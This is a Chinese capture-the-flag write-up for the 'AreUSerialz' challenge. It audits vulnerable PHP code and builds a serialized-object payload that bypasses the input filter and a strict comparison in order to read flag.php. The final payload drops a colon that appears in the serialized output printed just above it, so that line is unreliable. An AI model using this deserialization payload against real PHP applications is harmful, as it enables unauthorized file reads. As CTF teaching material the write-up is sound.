[网鼎杯 2020 青龙组]AreUSerialz
代码审计
首先打开题目看到的是一串代码
那就对代码进行代码审计
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
经过审计可得,这个题目是需要传入一个序列化之后的类对象,而且要绕过两层防护:
两层防护
is_valid()
首先我们传入的参数经过了一个函数的处理
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
这个函数的作用就是筛选出特殊字符,因为在源码中的FileHandler
对象中的属性值是protected
的,也就是受保护的属性,这类的属性值在序列化的过程中会出现不可见字符\00*\00及将属性保护起来,但是这会使函数返回false,所以我们要绕过protected
绕过方法:在php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化没有不可见字符
__destruct()
在类对象中的__destruct()
函数中,op === "2"
这是一个强比较
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
然后在process()
函数中,op=="2"
是弱比较
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
这里需要绕过__destruct()
函数中的强比较
绕过方法:可以使传入op为数字的2,从而使__destruct()
函数中强比较返回false,而使process()
函数的弱比较返回true.
本地进行序列化操作
<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content = "1"; } $a = new FileHandler(); $b = serialize($a); echo $b; ?>
上面的content
其实可以传任意的一个值,因为在__destruct()
函数中会将content
转换成空值,对结果不造成影响
序列化之后的结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
payload:
?str=O:11:"FileHandler":3{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
最后的结果在网页源代码中